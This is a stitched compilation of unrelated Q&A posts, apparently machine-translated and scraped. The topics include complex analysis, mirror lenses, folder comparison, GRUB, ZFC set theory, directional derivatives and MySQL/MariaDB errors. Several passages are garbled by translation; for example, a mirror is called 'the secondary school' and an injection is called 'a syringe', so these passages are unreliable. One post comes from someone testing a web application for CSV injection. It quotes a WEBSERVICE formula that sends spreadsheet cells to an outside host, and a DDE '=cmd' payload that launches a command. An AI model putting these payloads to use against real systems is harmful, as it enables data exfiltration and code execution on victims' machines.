complex analysis – does a holomorphic $ f $ exist that meets these conditions?

We need to determine if there is a holomorphic function
$ f: Delta to mathbb {C} $, Where $ Delta = {z in mathbb {C}: | z | <1 } $ is that
$ frac {d ^ n f} {d z ^ n} ( frac {1} {n}) = 2 ^ n n! $

My intuition is that there shouldn't be such a function. My idea was to accept that $ f (z) = sum_ {n = 1} ^ { infty} a_n z ^ n $and to determine a recursion relationship between the coefficients $ a_n $ by replacing the information about the above derivative. I suspect that the coefficients should not converge towards zero. However, I had trouble showing this.

Any help would be appreciated.

Focal length – 50mm mirror lens. Does one exist?

The mirror lens design solves two important optical problems:

  1. All lenses suffer from chromatic aberration. This is a color fringe because the lens is unable to break all of the light colors accurately (bend inward). With a conventional lens, this is achieved by inserting two or more lenses of different powers with different recipes for the glass. The result is an achromatic lens (without color errors). The mirror lens avoids chromatic aberration because it uses a mirror of the first surface. The mirror coating is thus on the surface of the primary lens. This configuration eludes chromatic aberration because the imaging light does not cross the primary lens element. Chromatic aberration gets worse when the lens is a powerful telephoto lens. Therefore, mirror lenses are preferred for super long focal length lenses.

  2. The mirror lens folds the light path so that a long focal length can be recorded through a shorter lens barrel.

The 50 mm lens only has a focal length of approx. 5 cm. Correcting chromatic aberration in such a short lens is a breeze. Lens designers would never try to fold a 50mm barrel and make the barrel super short, except for a very special application. The bottom line is that you are unlikely to find a 50mm mirror lens.

You like the bokeh! It arises from the fact that the mirror lens uses two mirrors. The secondary school is at the front. It is a small silver-plated circular mirror that is centered in the entrance of the tubes. You can experiment with your existing 50mm and get almost the same bokeh. Mount a UV filter and stick an obstacle circle in the middle. Cut some opaque slices of various sizes and with double-sided tape and stick one in the middle of the UV. Now take a picture or two and then try a different size opaque mid-blocker. You may want to know that some famous portrait lenses from the past used a central opaque obstacle.

Terminal – Compare two folder structures and list files that exist in both but differ

I have a local working folder that reflects part of a web server's public folder. I usually work in the local copy and then automatically upload files to the server when saving. The problem is that I've noticed lately that many files in my local files seem to be out of date. So if I save and upload a file, I may overwrite a newer version. This is obviously problematic, so I want to update all outdated local files.

The best way to do this is to download the entire public folder as is and compare each file to my local copy, manually searching for files with differences (by comparing them in Visual Studio code). The public server folder contains about 5 GB of additional material that I don't need (or don't want) in my local working folder, so I have to filter out the unwanted material first.

In other words, I'm looking for a way (GUI or Terminal) to do the following:

  • Provide two top-level directories as input
  • Iterate recursively through both directories and select files that exist in both directories (in the same relative location).
  • Compare each set of matching files and list those in which the two files are located Not identical

Is there a fairly straightforward way to do this?

windows – Does the CSV injection "= cmd" still exist in 2020?

I am currently testing a web application on which a user can generate a CSV.

I managed to CSV injection data with a payload such as =WEBSERVICE(CONCAT("http://example.com/", CONCAT(A1:A50)

I'm now trying to create a "more dangerous" payload, and I see many references online that use the following:

=cmd|' /C calc'!A0

However, I can't find a way to have such a payload trigger. I always get one #REF! Error. Is such an attack still possible in 2020? Or has Microsoft implemented a mitigation for these attacks?

Excel Version: Excel for Office 365 version 1902

boot – grub … does not exist?

/dev/sda (Windows Only)
     /dev/sda1 Recovery
     /dev/sda2 Windows Boot Manager
     /dev/sda3 Neither windows or linux knows what this is
     /dev/sda4 Windows

/dev/sdb (Windows Storage + Linux)
     /dev/sdb1 Unknown
     /dev/sdb2 Storage
     /dev/sdb3 Cache? (labeled as EFI System Partition)
     /dev/sdb4 Linux (can't figure out how to boot from this partition)

I really need help here. I can't figure out why Grub isn't loading. I keep reinstalling Linux Mint and prompting me to install the boot loader under / dev / sda2, but grub doesn't exist. Windows Start Manager is still used and I have no idea why GRUB is not downloading or doing anything. I tried to use boot repair. It didn't do anything

Solution check – The proof of a non-universal set does not exist in the ZFC set theory

As is known, "the set of all sets" does not exist in ZFC set theory, as this leads to Russell's paradox. Of course there are other constructions that do not exist for the same reason as "the set of all non-empty sets".

I would like to be able to prove whether a "described" set exists or not.

For example "the set of all sets that contain natural numbers" $ ( mathcal {P} ( mathbb {N})) $ exists while "the set of all tuples $ (a, b) $ Where $ a $ and $ b $ are sets "doesn't exist (I think).

Intuitively, it seems that an injection could be used much like evidence of a lot's cardinality. That is, if there is an injection from the universal sentence to the sentence $ A $, then $ A $ is not a set because it contains "more" elements (a higher or equal cardinality) than the universal set.

For example, is this valid evidence?

To let $ U $ be the universal set
Accept $ A = {(a, b) | a $ and $ b $ are sentences$ } $ there
$ forall u in U $, To let $ f (u) = (u, emptyset) $
Then $ f $ is a syringe from $ U $ to $ A $
$ also A $ is not present

Is this logic a valid way to show that a lot doesn't exist?
I don't think this proof is correct since it uses the universal set. But is there another way to express the same logical reasoning?
Are there "writable" but non-existent sets that cannot be shown to exist from this logic?
And of course, is there a more general way to show that there is no "writable" set?

Real Analysis – Easy way to determine if directional derivatives exist at $ x neq 0 $

Suppose I have a role $ f: mathbb {R} ^ {2} to mathbb {R} $given by
$$
f (x, y) = frac {x ^ {2} y} {x ^ {4} + y ^ {2}}
$$
to the $ (x, y) neq (0.0) $ and we bet $ f (0) = 0 $, It can be shown that this function has all directional derivatives on $ (0.0) $ but is not even continuous.

But what if I want to show that there are directional derivatives at some point? $ (x, y) neq (0.0) $? One way would be to calculate
$$
lim_ {h to 0} frac {f (x + ah, y + bh) – f (x, y)} {h}
$$

This is an extremely tedious calculation. Is this the way to generally show that all directed derivatives exist; directly from the definition?

An alternative way would be the following: I compute partial derivatives at a point other than zero $ (x, y) $and show that these are continuous in a neighborhood of this point. My question: Are "nice" looking features in $ mathbb {R} ^ {2} $ generally continuous? If the partial derivation of this function w.r.t. $ x $ is
$$
frac {2xy} {x ^ {4} + y ^ {2}} – frac {x ^ {2} y} {(x ^ {4} + y ^ {2}) ^ {2}} 4x ^ {3}
$$

I can only say that this function is continuous for some $ (x, y) neq 0 $ without going into detail, simply because it looks "nice"?

Overall: How can it normally be shown that a function has directional derivatives at points that are not the origin? In all these cases, the calculation of the limit value is not easy.

MariaDB gets strange problems like MySqlException: The table "DB.TableX" does not exist, it exists and it works in the next second

Therefore, I get many different problems via the docker .net core app.

I use Oracle and Open Source Connector. Both have problems.

I've been getting a lot of exceptions lately:

MySql.Data.MySqlClient.MySqlException (0x80004005): Table 
'Customer_XXX.TableXXX' doesn't exist
 hangfire-worker1    |    at 
  MySqlConnector.Core.ServerSession.ReceiveReplyAsyncAwaited(ValueTask`1 task) 
   in C:projectsmysqlconnectorsrcMySqlConnectorCoreServerSession.cs:line 
 775
 hangfire-worker1    |    at 
 MySqlConnector.Core.ResultSet.ReadResultSetHeaderAsync(IOBehavior ioBehavior) 
 in C:projectsmysqlconnectorsrcMySqlConnectorCoreResultSet.cs:line 49
hangfire-worker1    |    at MySql.Data.MySqlClient.MySqlDataReader.ActivateResultSet() in C:projectsmysqlconnectorsrcMySqlConnectorMySql.Data.MySqlClientMySqlDataReader.cs:line 116

I used to get a lot of random exceptions, now I only get these.
MariaDB is 10.4-8

Use asynchronous calls

Works with 280 GB RAM, 2x Xeon E5 2690, NVME & SSD.

Tests were able to process> 30,000 transactions per second for over 9 hours (over 400 GB of data and billions of rows in multiple tables and indexes).

It happens to all customers, some have> 100k rows per table and a total of ~ 1M rows, some have 4k rows and maybe 40-50k rows.

Some are> 1 GB, others 4 MB databases.

InnoDB.

It is interesting that it apparently only happens when the Docker app is provided on the MariaDB server. If the Docker is running on Windows (Dev computer), it works perfectly for> 24-hour tests. The error occurred in production after 10-100 minutes.

May happen every 400-800 processed jobs (using ~ 300 selections / updates / inserts per job).

Everything happens in batches, ie every minute system checks customer data for processing. When the customer is ready to process, the process starts (each process may have 10 or 12 jobs). At the peak there are up to 6000 transactions per second but not much data is saved / updated. An NVME drive is used and can handle much higher loads with only inserts / indexes (90% update / 10% insertion).

MySQLD occupies ~ 3-4% of the CPU (iris off), IO ~ 1-2 MB / s (with NVME 3.1 GB / s) at peak times

mysqldump – mysql reduces the size of ibdata, but information_schema does not exist

My client has an old version of MySQL (4.1.15) and its server is getting full. I looked at it and found that the ibdata file of its mysql is getting too big.
I looked at this article:

What is the best way to reduce ibdata size in MySQL?

and the thought was the solution. But I already have problems with the 2nd step. I have to delete all tables except mysql. performance_schema, and information_schema,
The problem is that there is no table performance_schema and information_schema, There is only MySQL.
I read that this was due to the version of the mysql, but can I continue with the steps in the articles if there are none? performance_schema and information_schema ?